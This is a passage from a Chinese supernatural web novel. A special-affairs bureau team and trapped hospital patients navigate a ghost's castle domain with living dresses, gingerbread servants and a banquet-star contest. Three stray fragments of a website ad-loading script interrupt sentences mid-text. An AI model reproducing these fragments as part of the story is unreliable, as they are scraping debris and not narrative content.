周纯君实在没忍住,露出个笑,一口恶气算是借周含蕴的嘴给勉强出了,他伸手摸了摸她的头,小声说:“这种话,咱们家里说说,不要在外面说。”他的眼睛冷了冷:“那些人……你也知道,他们只能在女人面前逞威风。” 周倾庐在旁边叹了口气,憋了半天,只憋出来一句:“幸亏你娘回娘家见嫂子去了。” …… 在这样的环境下,周含蕴很难对未来乐观。 原本开心的心情也落寞了下去,她想自己想的也许还是太简单了,以为有了一座花园,就有了安身之处,可是却没想过,当大浪打过来的时候,即便是哥哥们,也很难保全自己,更何况她呢? 她走在这座已经面目全非,且不再属于自己的花园路上,既害怕遇上生人,又期待遇上生人。 她在这样矛盾的心情下走走停停,有时候看到了路边不知道谁放在那里的轮椅,跟她以前见过的轮椅不太一样,更结实更漂亮,有许多复杂的零件,不知道是干什么用的。 她以为自己会遇上人,却发现轮椅孤零零的立在那里,不知道轮椅的主人哪里去了。 —— 特事局的一行人已经到达了华北医院。 在华北医院门口停了很多辆警车,这些警察在看到特事局的车辆过后,其中一个刑侦大队的队长就走过来跟张晚霞打了声招呼:“你们特事局的贵人可真是姗姗来迟,等你们老半天了。” 他朝张晚霞身后望了一圈:“浩宇那小子怎么没跟过来,那可是我们刑警大队的明日之星,要不是他突然觉醒,也不会进你们特事局。谁不知道你们特事局也就是听起来威风,可升迁之路基本上是没了, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又忙事又多,这还算了,死亡率还高得吓人,我可是把浩宇当自己接班人培养的,你可不能随随便便把他丢犄角旮旯里去——” 旁边他手下的队员看不下去了:“梁队,少说两句吧!”浩宇现在可就在人家手上混,本来也许人家没打算给人小鞋穿的,你这一整,高低得给浩宇几双小鞋。 梁队意识到自己没忍住又犯了唠叨的老毛病了,又不好意思跟张晚霞道歉,再者他心里本来就憋了不满,只能含糊过去:“……所以浩宇呢?” 张晚霞没当一回事,她要事事计较,也很难在这位置上做下去,作为一个普通人担任特事局局长,接收的风言风语哪里少了。 她微微颔首:“浩宇跟副局临时出任务去了,马上就过来。” 话语刚落,又有几辆车停靠过来,戴着墨镜一副走T台形象从车门里迈出来的正是特事局副局长卢长卿,他自己出来不算,手上还拷了个手铐,手铐另一边连着正是臭着脸,仿佛谁都欠他钱的周新宇。 梁队眼睛亮了一下,朝那边招手:“浩宇!” 应声的是一个长相颇为阳光健气的男孩,他长得,谁见了都觉得他是个好人。顶着一张标准的电影里的正义面孔,可以直接演里面任何正面的角色。 他笑得也很爽朗,像小狗叼骨头似的朝你扑腾过来:“梁队!你怎么来了?” 梁队刚咧开嘴要应,接着又低落了下来:“……别叫梁队了,我现在不是你的梁队了。”语气颇为酸楚。 浩宇也不应,就摸着后脑勺傻笑。接着被走过来的卢长卿敲了下脑壳:“跑那么快做什么!你忘记你是哪里人了。” 说完,他侧身朝张晚霞打了个招呼:“局长,这是我抓到的老鼠。”一边说,一边拉扯手铐,周新宇被歪歪扭扭的扯过来,不满道:“你干什么!” 张晚霞看了周新宇一眼,扭头对卢长卿道:“什么时候抓老鼠不行,非要这个关键的时候去抓?我不相信你会是这么无聊的人,你一定有你的道理,跟我讲讲吧。” 卢长卿露出了一个大大的笑容,他这样不喜欢被规则束缚,自由散漫的人,其实是很不讨体制内的人喜欢的,但难得的,他跟张晚霞关系处得不错。 张晚霞不像别的领导,喜欢管东管西,她善于抓大放小,并不在乎卢长卿是怎么完成任务,只要他完成了就行。 “局长,你猜得不错。只是一只贪离确实不至于这么大费周章。但是如果他还是周家的后人呢?”卢长卿笑嘻嘻的道:“周家人看起来配合,实际上可不老实,比如他们就隐瞒了一件非常关键的事情,那就是有人在几年前就进过这个场域。” 张晚霞这次在周新宇的身上停留的时间更长一点:“看来这就是你为自己的找到的‘生机’。” “你们生欲觉醒者真的让人惊讶。刚刚还有一名生离向我提供了一个重要线索,她提到了周含蕴的母亲。” “生离吗?”卢长卿摸了摸下巴:“如果是生离提出来的,那确实是比较重要的线索。毕竟我们生欲觉醒者最擅长寻找‘生机’了,不是吗?” 张晚霞:“一会儿,你就带着这名贪离一起进入场域,具体的情报内容,我已经跟别的队员讲了一遍,我知道你向来不耐烦听这些,遇到不懂的你可以问他们。有件事你必须要注意一下,华北花园已经让人封存起来,但是还是有一些人被卷入了这个场域。” “万幸事发在夜晚,在华北花园的人并不多,目前确认共有三名病人,两名护士被卷入场域之中,具体资料我发你账号,你记得看,能带出来就把他们带出来。” “知道啦。”卢长卿拖着不情不愿的周新宇,朝着张晚霞扬了扬手。 9. 衣服脾气不好 在得知周新宇曾经去过一次虚界,甚至那次虚界之行还让他觉醒成为一名贪离以后,其他的队员都不由得对他好奇起来。 “小朋友,你胆子真大。要知道,就连我们队长都不敢单枪匹马去虚界闯,那里面随随便便碰到一个,可能都是天字级别的。” 听到这里,蓝玉忍不住扭头问前辈:“师父,天字级别的鬼这么多吗?” 前辈一脸虚弱的走在末尾,之前一个人自闭了半天,嘴里嘀咕着什么果然生是死的克星之类的让人摸不着头脑的话。此时听到蓝玉的问题,伸手堵住耳朵想要装作没听见。 前面正大步流星走路的卢长卿像是背后长耳朵一样,扭头回了一句:“当然多啊,虚界里装的可是全世界所有的鬼。甚至几万年前的鬼都比比皆是,想一想我们华国历史上出现过多少名人……这些人虽然死了,但是鬼却还在呢。” 蓝玉只是想一想那画面,就不由得头皮发麻,她没忍住问道:“那难道鬼会永远存在吗?” “也不是,其实想要鬼消失很简单,当喜鬼不再笑了,哀鬼不哭了,怒鬼平息了怒火,惧鬼变得勇敢……”卢长卿说到这里,嗤笑一声:“还是做梦吧,做梦来得快一些。” 蓝玉没懂,对于刚进入这个世界的她来说,她根本察觉不到其中的困难。 反倒是周新宇扯了扯嘴角嘲笑了一句:“……确实是做梦来得更快一些,人类连自己的欲望都控制不了,竟敢还妄图让鬼平息自己的情绪。” “你小子——”卢长卿低头:“不装哑巴了,我们马上就要进入场域了,你真的一句都不打算说吗?” 周新宇咬了咬牙:“我根本不想去,是你非要带我去!” “你要是把你上次进入场域的细节说了……” “说了你就会放过我吗?”周新宇紧接着问。 卢长卿唔了一声:“唔……还是不行。要是你故意说谎怎么办,我可不能拿这些兄弟的命跟你赌,而且你还是一只贪欲觉醒者……” 说到这里,他咧开嘴笑了一下:“你小子也是个人才,在那样的危机关头你觉醒的不是生欲,竟然是贪欲,你是想干嘛?什么样的东西能盖过生死,让你必须要得到?难道你还想偷鬼的财产吗?……话说鬼有财产这东西吗?” 周新宇紧紧的闭上嘴巴。 就在卢长卿以为他可能还会继续装蚌壳,死不开口的时候。 周新宇忽然冷不丁的蹦出一句:“为什么不能是鬼呢?” 卢长卿“哈?”了一声,瞪大眼睛望向周新宇,啧啧称奇:“我真没看错,你还真是个人才—— 不是,你脑子有病吧!” 他像是碰到什么脏东西一样,甩了甩手:“太可怕了,你们这群恋爱脑,离我远点,不要传染给我。” 蓝玉没听懂,扭头找前辈:“师父,为什么副局说他是恋爱脑啊。” 前辈也瞪大眼睛听着八卦,此时嘴里嘀咕:“虽然以前也不是没有过试图跟鬼搞涩涩的狠人,但那些人都是生前就有感情,死后也放不下的。 但你看这小子才多大,他现在也不过才十六岁吧……” 没想到周新宇耳朵也灵,隔那么远都听见了,然后像是被踩着尾巴一样跳起来冲着前辈叫道:“谁说我十六,我十八了!!那次出事后,我休学了两年!” 前辈没所谓的一摊手:“好吧,就算你今年十八,你高中两年,休学两年…这就去了四年了吧。四年前你才十四岁!” 周新宇扭过头:“你们不懂……” 前辈对满眼茫然的蓝玉说:“看到没有,这就是活的恋爱脑……可是不对啊!”前辈瞪大眼睛,发现了某个不对劲的地方,对周新宇道:“如果你当时那么爱,为什么你觉醒的不是色欲,而是贪欲?” 他像是发现了新大陆一样:“你小子……不简单啊——” 什么样的人,会对自己喜欢的人充满贪欲。除非他根本就不是喜欢,只是想要占有,就像占有一个无上的宝物。 噫,有点子变/态。 周新宇面红耳赤:“我那时才十四岁!懂什么!不像你,”他眼睛充满鄙视:“满脑子的黄色废料。” “嘿!”前辈觉得这是污蔑!不等他撸袖子,卢长卿实在是受不了了——他这是带的什么队伍啊!能不能给他正经一点! “好了好了,一会儿进去有你们打的。”卢长卿有点心累,他最后问周新宇:“你真没什么想说的吗?一会儿你就要见你的……恩,女神了,不想让她对你刮目相看吗?” 周新宇表情古怪:“你们不懂,跟你们也说不明白。” 但他还是软了口风:“其实一开始并没有什么危险……你们只需要做好属于你们角色该做的事情就行。” 他到底只是一名贪离,又是在那样的情况下觉醒的,并不算坏人,多少还是透露的关键信息:“衣服的脾气不好,它会把任何惹它生气的东西都搅成碎片,包括自己的同类,你们可以利用这一点。让它帮助你。” 蓝玉完全没听懂:“衣服?” —— “刚刚多亏了衣服帮我们。”这句话刘护士也在对她的病人说。病人是一名十五岁的男孩,但是他的小腿以下已经全部被截肢。 更不幸的是,当他们被卷入场域的时候,男孩的轮椅也被落在了外面。 男孩叫张茂林,他穿着病服,满脸茫然的发现自己躺在一间挂满各种衣服的衣帽间里面,旁边放着一件拖地的鱼尾长裙——他自然没觉得这是为自己准备的。 因为不良于行,他撑着胳膊高喊:“有没有人,有人吗?” 门被外面打开,一个穿着女仆装的姜饼人走进来:“来了来了,你换好了吗……”它望着穿着病服的张茂林,整个人像是被凝固了一样。 接着它猛地迸发出可以跟女高音媲美的尖叫:“啊啊啊啊啊啊你竟然没有穿衣服!!!” “男人!有男人混进了女更衣室!!!” “快来人啊!!” 在它的尖叫中,张茂林感觉自己的脑袋都像是要爆/炸了一样,他完全不知道发生了什么,但是像针刺一般的危险预感却让他感觉非常不妙。 就在这个时候,他看到刘护士从外面走进来:“吵死了,走到外面就听到你在吵!” 她穿着黑色抹胸长裙,那裙摆不知道嵌了什么东西,像钻石一样闪闪发光。她的脸上也是张茂林陌生的高傲表情,像是看垃圾一样看姜饼人。 姜饼人还要指着张茂林,就在这时,张茂林看到刘护士一个健步冲上来,抄起摆放在他右手边的鱼尾裙就往他身上套。 因为这个动作太熟悉,张茂林跟刘护士配合了很多次,凭借他自己是很难给自己套上裤子的,因为膝盖使不上力,要是摔倒了更麻烦,虽然很不好意思,但是被刘护士强迫了几次以后,他就顺从了。 医院里的男护士稀少,哪来那么多计较,刘护士压根就没把他当男的看。 张茂林感觉自己不过屁股一抬,那鱼尾裙就像是长在他身上一样。 然后他就听到刘护士冲那个姜饼人骂道:“哪里来的男人!你睁大眼睛好好看看!这是男人吗?” 张茂林:“……” 姜饼人恨恨的望着他,它依旧不甘心:“我刚刚明明看见他……” 就在这时,张茂林感觉自己身上的衣服蠕动了一下,他被吓了一跳,这衣服难道是活的? 然后他就看到姜饼人那用粗线条勾勒出表情的扁平脸上,露出代表惊恐的正方形:“不,不不不……我说错了,我错了……没 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有男人,没有男人……” 就在张茂林疑惑它为什么这么恐惧的时候。 鱼尾裙带着他站起来了—— 张茂林:“!!!” 他感觉自己的视线一下变得很高,那不知道什么布料做的,流光溢彩的蓝色鱼尾裙的尾巴,真的像尾巴一样高高昂起来,然后朝着姜饼人砸了过去。 那扁平脸的姜饼人就像饼干一样,直接就碎成了渣滓。 张茂林:“………………” 而这一幕正好被姜饼人吸引来的其他姜饼人,巧克力人,蛋糕人看见。它们的脸上纷纷露出屈辱又畏惧的表情。 “太残忍了……” “她只是不甘心瞪了一眼。” “这样就把她给打死了……” “惹不起,惹不起……快走!快走!” “千万别被它听到!” “那么多衣服,就这件脾气最不好。” 那群看起来有点好吃的点心又急吼吼的散开了。 只剩下张茂林又茫然又无助的望向刘护士:“护士,我们……” 刘护士警告的瞪了他一眼:“什么护士,叫我刘大小姐!” “啊?”张茂林没懂。 刘护士眼睛抽筋一样朝张茂林的衣服上意有所指的递了一眼:“你也一样,张!小!姐!”她一字一顿的说道。 张茂林:“……” 张茂林:“哦。” 张小姐就张小姐吧。只要能在这个诡异的地方活下去,也不是不行,他忍辱负重的想。 话说回来这衣服穿上还能脱掉吗?他现在有点腿软,还有点想尿尿,怎么办? 好在等到那群点心人离开以后。刘护士立刻把门关上,长吐一口气:“累死我了……” 刚说完,她脸色一变,接着又用之前那怪腔怪调的语气道:“这群下人实在太不懂事了,把我的妆都弄花了,哎呀,我可得重新化个妆,衣服也要好好保养,可不能把它弄皱了。” 她一边说,一变小心翼翼地把衣服往下拖,确认没有问题后,立刻以一个难以想象的速度把这件衣服从身上脱下来。 张茂林犹豫要不要闭眼睛的时候,发现刘护士衣服下面竟然是完整的护士服,而当她刚刚穿这件礼服的时候,根本看不到护士服的踪迹。 接着张茂林感受到刘护士的目光落在他的身上。 他顿了顿,看到刘护士用眼神催促他,赶紧的啊,犹豫什么啊。 张茂林:“……” 他闭了闭眼,满是挣扎的说:“我、我的妆被弄花了……要、要重新化妆,衣服、衣服也要重新保养一下……” 确认自己说得没问题以后,他伸手想要脱,可是却感受到衣服传来一股反抗的斥力,接着穿在他身上本来服帖的衣服正在缓慢的收紧…… 这是怎么回事!他没有说错啊! 就在张茂林慌得不知道怎么办的时候,他看到刘护士不断地冲他张嘴,不敢吐出声音,只做嘴型—— 是什么?他努力辨认,y……yu……语气!? 感受到衣服越来越收紧,张茂林这辈子演技都没有这么好过,他立刻夹着嗓子:“哎呀~人家的妆都花了啦!可得好好的化,这衣服怎么也皱了,这可不行!我得赶紧脱了保养保养~” 在话语刚落的时候,张茂林立刻感受到那股要把他勒死的力道给收了回去,他这辈子脱衣服都没有这么快过,甚至不用刘护士的帮助,就把衣服脱了下来。 紧接着猛地大喘气:“好……好了。” 望着也一样露出劫后余生的刘护士,他胆战心惊地:“我现在、现在可以自由说话了吧?” 刘护士点了点头。 张茂林崩溃道:“这到底是怎么回事啊!” 10. 宴会明星 对于张茂林的崩溃,刘护士摆了摆手,一脸加班十几个小时的筋疲力尽,几乎是蹒跚着走到张茂林身旁,接着如同卸力一般放任自己身子砸在沙发上。 “我也不知道。”她说。 事实上她就比张茂林早醒了几分钟,她醒来就发现自己正在化妆镜前坐着,房间格局跟张茂林所在的衣帽间的格局差不多,就在她茫然的时候。 休息室外就传来砸门声。 那声音巨大的像是要把门给砸碎,刘护士当然不敢去开门,谁知道外面是个什么神经病。她就巡视衣帽间里面有没有什么称手的工具可以用来防身。 这个时候,她的目光落在那件套在木偶模特身上的黑色礼服上。在这样危机的关头,她本来不应该走神才对。 可是当时她的脑袋里就只剩下一个想法——它好美。 她从来没有见过这么美的长裙。 她看了它好久,就连砸门声都忽略了。 而这时,砸门声更大了,还有尖细的声音传来:“小姐,你已经进去这么长时间了,衣服换好了没有啊!” “是不是没有找到你喜欢的衣服?” “那你快出来吧出来吧出来吧出来出来……” 到后面就是不断重复“出来吧”三个字,跟念经一样,吵得刘护士脑仁疼,等她回过神来的时候,她的手已经放在了那件黑色的长裙上面。 它的质感冰凉细腻,刘护士一摸上,就舍不得抽离。 她心一横,干脆就把这套裙子套在外面,然后对外面说:“我换好了。” 说来也奇怪,这件长裙的腰身明明看起来那么细,她之前还担心穿不进去,没想到一套上就跟给她量身定制的一样,贴着她的皮肤生长着。 她说话的时候,其实还有点担心,怕不能打发掉门外的神经病。然而当她刚穿好衣服,砸门的声音立刻就消失了。 外面那个尖细的声音有些不甘心的说:“小姐这就换好了?不再考虑一下?” 她正想说是,身体却不受控制的站起来。她吓了一跳,不等她反应过来,嘴巴也跟着张开说话:“我倒要看看是哪个不长眼的家伙,敢惹到本小姐头上!” 一边说,竟是一边猛地拉开门。 刘护士:“!!!” 就在她以为自己会遭遇不测的时候,门外的走廊却空无一人。 “呵!跑的够快!”再说完这句话后,刘护士感觉到自己的身体重新恢复了控制。 她伸手触碰上自己的裙子,刚刚—— 是它在说话? 刘护士瞬间感觉自己身上像爬了蚂蚁一样,浑身不自在,她第一时间想要把衣服扒下来,却发现原本服服帖帖待在她身上的衣服,似乎感觉到她的排斥—— 一股愤怒的情绪从衣服上传来,刘护士脸上立刻露出痛苦的表情,衣服,身上的衣服在收紧! 她感觉自己的身体像橡皮泥一样,不断地被挤压。 她错了!她犯了个大错!——她不该惹衣服生气的! 可是她已经犯错了,该怎么做才能让它消气呢? 刘护士的手颤抖着,落在衣服上,明明这么痛苦,她的心里竟然浮现出可惜的情绪。 她从没见过这么好看的裙子——哪怕穿着它去死竟然也不觉得后悔…… 脑海里好像浮现出同样的话,那是另一个女人的声音,她娇俏的笑着:“我一定能靠它成为宴会上的明星!” “周家那个病丫头拿什么跟我斗!” “裙子啊裙子……你一定能帮我达成这个愿望对吧?” “裙子啊裙子啊……”刘护士下意识的跟着重复:“你一定……” 在她意识到自己说了什么的时候,原本愤怒的裙子突然平息下来。 她忽然意识到,裙子的主人正是她刚刚脑海里出现的那个女人。 只要她学那个女人,裙子就会把她当做自己的主人,不会再攻击她。 当意识到这件事时,刘护士有些复杂的摸了摸身上穿着的裙子——你就这么爱你的主人吗。 不过她知道怎么做了,内心确实也落下了一块石头。 再接着——刘护士说:“我就听到了你的声音。” 她对张茂林道:“你的房间离我比较近,但还是隔了几个房间,等我过去的时候,正好看到那个姜饼人推开了你的房门——” “再然后就是你看到的那样了。” —— 此时,特事局的一行人也已经进到了场域中来。 不过他们并没有张茂林等人那么好的待遇,分到独立的衣帽间。 姜饼人在门外骂骂咧咧:“怎么突然来了这么多人,更衣室都不够用了!” “不知道是哪里来的破落户,听说这里能有免费的衣服穿,就都凑过来了!”另一个尖细的嗓音骂道:“干脆都把他们都丢一个更衣室吧!懒得挪了!反正我刚刚看了,他们姿色非常一般,没有一个能打的。” 一群“姿色一般”的人面面相觑。 “哼,看来这次宴会明星又是主人莫属了,她都连任九十九届明星了,我还以为这次会有不一样呢!” “嘘——小点声,主人也是你能说的。你又不是不知道她的脾气,话说回来,主人脾气越来越不好了,就连衣服的脾气也越来越暴躁。真担心哪一天……” 周新宇指了指手上的手铐,朝卢长卿递了个眼色,卢长卿抬了抬眉,两手一掰,手铐竟然直接被他给掰断了。 周新宇眉头一跳,心道好大的力气! 这还是他第一次跟坤字觉醒者打交道,哪怕再如何警惕,也还是被卢长卿大大咧咧的模样给迷惑,不自觉就放下的戒备。 此时回过神来,意识到卢长卿再怎么不正经,到底是一名坤字觉醒者。 他不应该太放松才对。 他活动了一下手腕,蹑手蹑脚的走到门前。 门外的姜饼人还在八卦。 “都当九十九届明星了,主人竟然还不腻。换我我都腻了。” “谁说不是,裁判评委都是主人自己安排的人,难道还敢指别人当明星吗?” 正听得津津有味的时候,又有一个粗噶的声音加入进来:“喂!你们不好好伺候客人!在这里聊天!” “管家,我们正在伺候,就等客人醒来呢!” “那也不能聊天!”那个管家说完,就走开了。 他离开没多久,门口的两个姜饼人沉默了没一会儿,不知是谁骂了一句:“就他事多,拿着鸡毛当令箭!” “就是,天天难为我们也不知道做什么,对他有什么好处吗?” 这时,另一个姜饼人压低声音:“唉,你听说没有,之前来的那几个客人,是从外面闯进来的人类。” 原本还有些无聊的声音立刻振奋起来:“真的假的!我都多久没有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 尝到人类的情绪了!你说……” 后面的声音突然沉了下去。 紧接着巨大的砸门声从周新宇贴着的门上传来。 伴随着一股兴奋过头的尖叫:“小姐们!你们衣服换好了吗!” “出来吧出来吧出来吧——” 周新宇一边揉着耳朵,差点没聋掉!一边拉开门。他手一伸就把门外那只姜饼人给抓到手里,然后立刻把门合上。 一套动作行云流水,直接把门外的姜饼人都看愣了。 门外另一个姜饼人望着旁边突然消失的同事傻眼了——这跟他想象的完全不一样! 他呆了足足有一会儿,接着又把手小心翼翼的放在门上,一开始还有点无措,最后找到感觉越敲越用力:“开门啊!开门啊!你们不要躲在里面不出声! 开门啊!开门啊!我知道你们在里面! 把我同事还给我!” 门再次打开,一只手又一次伸了出来,刚刚的事情重复上演,这一次他也步了同事的后尘。 特事局众人围了个圈,把两个弱小可怜又无助的姜饼人圈在中间。 原本姜饼人看到这么多人类还来不及兴奋,接着就跟卢长卿那双金色的眼睛对上:“好、好烫……的生欲。” 他瑟瑟发抖的往后缩。 “是、是觉醒者。”他结结巴巴的,一改之前癫狂的态度,甚至有些奉承道:“……觉醒者大人怎么会来这里?” 卢长卿脸上露出一个微笑,指着自己的眼睛:“认得这两个字吧?” 姜饼人讨好的冲他点头:“生坤大人,您……来贵地有何贵干啊?” 卢长卿去过的场域没有一百也有几十了,但是这么能屈能伸的场域NPC还是头一次见。 场域NPC大多依据鬼主人的情绪能量诞生——什么样的情绪能量能创造出如此‘懂事’的npc? 他觉得有些好笑,又有些疑惑:“你们主人的事……跟我讲讲呗?” “主人……”姜饼人的头上都开始掉粉渣了,它的脸上写满了畏惧,也不知道是惧怕主人多一点,还是眼前的觉醒者多一点:“主人……的事确实不行,真的不能,我要说了就会直接死掉!不骗您! 生坤大人,您不如换个别的——比如如何成为宴会明星?”它小心翼翼试探着。 卢长卿无语:“我成为那个做什么——” 周新宇打断他:“可以。” 卢长卿“嘶”了一声,他望了周新宇一眼,想到这小子是自己费劲功夫找来的“生机”,确实要听他的。 他不甘心的点了点头:“行,你就讲讲,我们要怎么成为那个什么……宴会明星?”说到最后四个字有点烫嘴,差点没把自己舌头给咬到。 姜饼人松了一口气,感激的看了周新宇一眼:“想要成为宴会明星很简单,所有参与宴会的客人们都会拥有一次选择衣服的机会。等到宴会开始以后,宴会的评委会给你们的衣着打扮进行打分,得分最高的就是宴会明星……” 卢长卿抓着姜饼人摇晃:“你小子不老实!你不是说宴会评委是你们主人的人嘛!我们怎么能拿高分?” 姜饼人吓得直哆嗦:“评委确实是主人的人,但是评委一共有三个人,分别是主人的大哥白马王子,二哥玫瑰王子,三哥人鱼王子。” “每个评委都有自己的弱点,你们只需要在宴会开始前找到他们的弱点……” 11. 场域规则 华北公园。 周含蕴眼睛有些看不够似的,把所有一切陌生的东西都尽收眼底。 她两手拾起裙摆,步鞋踩在因为湿气而有些受潮的石板砖上,一开始还有点小心翼翼,有点犹豫,到后面步伐越来越快。 她一路快跑,天知道她从出生以来,就从来没有这样大幅度的迈开腿过。 没有人会一脸焦急的追在后面,说小姐你不能这样啊!也没有人会一脸不赞同的对她说含蕴,你的身体你不知道吗? 她踮起的脚尖欢快的踩在连心桥的木板上,发出噔噔噔的悦耳声音。 明明身后一个人都没有,她却仿佛背后有人追一样,似乎要把过去的那些声音都给甩在身后去! 她越跑越快,梳起的头发丝都跑松了,也不在乎。 她咧开嘴,露出白灿灿的牙齿,一口气从桥的那边一直跑到望秋亭。然后,她停了下来,接着哈哈大笑,笑得如此放肆,像是要把憋在身体里的那一口恶气都给笑出来似的。 她笑了一会儿,终于停了下来,倚靠在望秋亭的木柱上,目光微凝,看向周纯君说她一定会喜欢的风景。 层层叠叠的假山中间钻出几朵零星的白色花朵,一处湍急的水流从石缝里流淌出来,它一路绕过绿植,绕过花朵,砸在最底下的绿色幽潭里,溅起的水珠因为太过细密,形成白蒙蒙的水雾—— 像是误入仙境。 她听着泉水叮咚,看着那确实美丽的景观,心里却觉得有些索然无味——哥哥,你为什么会觉得我一定会喜欢呢? 她其实一点都不喜欢那些脆弱的,需要人费尽无数心血,精心保养才能保证它不失色的名贵物品。 这其中,周含蕴更是厌恶极了那些只能被人精心饲养,一旦离开了人就会立刻死去的温室花朵。 所以她才会故意把爸爸送给她的,价值千金的名贵花种从温室里搬出来。 放在室外,让它受烈日的暴晒,受暴雨的捶打。 直到看到照顾花的仆人一副天塌的样子,告诉她花死了以后,她甚至一点都不难过,反而有一种报复得逞的快乐。 但接着,她又哭着朝爸爸抱怨,即不说是自己把爸爸送给她的名贵花朵弄死了,反倒还倒打一耙,说是爸爸送她的花不好,才养了没两天就死了。 周卿庐压根不会把那几朵花当一回事,他也不喜欢这个,本来就只是想要拿来讨周含蕴高兴,结果没讨到好不说反倒落一顿埋怨。 他也不生气,周家父子都是一脉相承的贱骨头。他听了周含蕴的话,还真的怪自己没有做足功课,怪自己送的那些花不好。 周含蕴站在望秋亭的亭子里站了一会儿,天边悬挂了半天的夕阳终于要沉了下去,她担心一会儿天黑了看不清路,这里也没个仆人,自然也不会有人专门来为她点灯。 却没想到,就在她准备离开的时候,原本因为天沉下来,而有些昏暗的亭子突然大亮,那是放置在亭子内以供照明的电灯,到了晚上就会自动亮起。 对于生活在城市里的人来说,这不过是件很普通的事情。但是对于一百年前的周含蕴来说,这是多么震撼的一幕啊。 因为不止亭子里安放了照明的电灯,还有小路旁,一盏盏路灯亮起,就连流着瀑布的假山石上都亮起了熏染气氛的,五颜六色的景观灯。 它们像是夜晚里的星河,从天上落下了凡间。 她怔怔的看着这一幕,就像是看到了梦中的场景。 周含蕴矗立在一百年后的天空下,她轻轻地吐出了一口气,说不出自己心里是个什么滋味。 她黑色的眼珠子,倒映着无数闪烁着的光点。 如果此时有旁人站在旁边,就会发现这个穿着一百年前女学生穿着的青蓝色斜襟长袍,头发用一根碧簪挽成发髻的少女,她那双如若幽潭一般的双眼在夜晚的路灯下映照,慢慢变成一片猩红。 当然,此时的周含蕴并没有照镜子,也没办法看到自己的脸。 她只是觉得自己有些莫名的困倦,像是有个声音在不停的催促她,快,快回去。 她就被这声音催促着,一路走回自己看起来就荒凉无比的闺所。 直到走进室内了,马上要躺下的时候。周含蕴的脸上不由得露出嫌恶的表情,她实在不愿意在那满是灰尘的床榻上躺下。 但是那股剧烈的困意如洪水一般席卷而来,周含蕴只感觉自己两眼一合就不省人事了。 等到她再睁开眼,发现自己坐在一个极尽奢华,镶嵌着数不清的宝石的座椅上。 那个座椅的椅背特别高,形状也特别的浮夸。不知道是给谁坐的,样子实在古怪极了。 她的面前摆着等人高的巨大镜子,而镜子里的她则穿着一套金光闪闪的,还是那群洋人们最喜欢在舞会上穿的那种,巨大的蓬蓬裙。 她的头上带着银丝勾勒的王冠,王冠中间镶嵌着一枚足有鸽子蛋大的钻石。 她微微摆了摆头,镜子里的她也跟着一起摆了摆头。 镜子里的她跟她有一张一模一样的脸,只除了眼睛—— 那是一双猩红色的双瞳。 而镜子旁边,则摆了一排木偶模特,这些模特身上套着各式各样,极其奢华的礼服,甚至有的比周含蕴身上穿着的这套还要夸张。 在那些模特中间,还有一群长得像点心一样的仆人在其之间来回穿梭,它们嘴里念叨:“今天晚上主人一定要成为宴会明星!” “还有没有没拿出的衣服,快拿出来!” “那套鱼尾裙怎么没看见了?谁给它藏起来了!” “那套被客人拿走了。” 这都是些什么东西? 周含蕴有点茫然又有点无语,她干脆直接从那镶满宝石的王座上站起来,发现衣服沉得她竟然都迈不开步。 而她不动还好,一动起来,只见原本忙乱的景象就像是被按下了停止符,刚刚还一片繁忙的景象都消失了,所有的仆人都一动不动,扭头朝她看过来。 周含蕴面对这样诡异的一幕,心里也不由得有点打鼓。 但是那群点心人看起来却比她还要害怕,甚至有的牙齿打起颤,发出咔哒咔哒的声音,在本来鸦雀无声的环境特别明显。 他们哆哆嗦嗦着,一会儿功夫,地板上就掉落一堆的食物粉渣。 其中一个看起来像管家的仆人小心翼翼地走过来。 至于为什么能辨别出它是管家,是因为它身上穿着正是管家才有的黑色正装。 如果不看它的脸,仅看它的礼仪,动作几乎无可挑剔,只是当它露出那张圆滚滚的泡芙脸后,就变得有些滑稽了。 它非常认真的朝周含蕴鞠躬,单手放胸前,一个谁都挑不起差错的绅士礼仪。 然而当它抬起头,与它动作的行云流水不同——它的脸上肉眼可见的紧张,甚至都能看到它那张泡芙脸上,渗透出来的白色奶油。 “殿下,您……怎么来了?” —— 特事局这边听到姜饼人说出评委是能收买的以后,立刻就逼问姜饼人,想要问出三个王子的弱点分别是什么。 姜饼人还算配合,不知道是不是被吓破了胆。 他说三个王子各有特点。弱点也是依据他们的性格特点来的。 比如白马王子作为三个王子的大哥,也是实力最强,最不好对付的。他性格稳重,做事一丝不苟,而且他的手里掌管着一批军队,可以说整个城堡的安全都是由他负责的。 每天早上他都会带着自己的士兵巡视着城堡的各个角落。 “城堡?”卢长卿实在忍不住了,这个副本简直就像是处处都在跟他对着干。 王子都给整出来三个,现在城堡也出来了,接下来是不是还有公主? “对啊。”姜饼人理所当然道:“这里是公主的城堡,你们不知道吗?” 卢长卿像是牙疼一样,一脸痛苦的“嘶”了一声。 他摸了摸脸颊,面色阴沉:“没有,你继续说。” “白马王子会杀死任何鬼鬼祟祟进入城堡的人,如果你们想要接近他,必须要穿上参加宴会的礼服伪装成客人——” 却在此时,周新宇突然冷不丁的打断:“你在撒谎。” 姜饼人一下子止住了声音,它有些恨恨的朝周新宇看过来,可在看到周新宇后,它又有点疑惑: “你是谁?我怎么感觉我好像见过你——” “这不重要。”周新宇望着它道:“你故意调换了关键内容。 事实上就算发现了生人,白马王子也不会立刻杀死他,只会把人抓起来审问,最后也就是关进城堡的地牢里。 但他一旦发现有人伪造客人的身份,却会毫不留情的把人杀死。 白马王子性格细致,善于发现任何细节,我们如果伪装成客人,一开始很难瞒住他,一旦被他戳穿,则会是死亡。” 姜饼人眼里的恨意更明显了:“你到底是谁?你来过这里?!” 卢长卿没有跟周新宇进行任何交流,却像是心有灵犀,立刻配合上他,一只手就把姜饼人提起来,威胁道:“我就知道你不老实!” 姜饼人面对滚烫的生欲,这是与鬼的情绪能量截然相反的,代表活人的强烈欲望,它就像火焰一般,仿佛要把它灼烧殆尽。 姜饼人的脸上不由得露出痛苦的表情,哀嚎道:“我错了我错了,快放过我!” “我再也不敢了!” 周新宇完全不为所动,对着姜饼人道:“你可以试着继续对我们撒谎,看我还能不能再指出来。” 卢长卿紧随其后,强调道:“我可不是个好脾气的人,要是再发现你不老实,你看我还会不会放过你。” 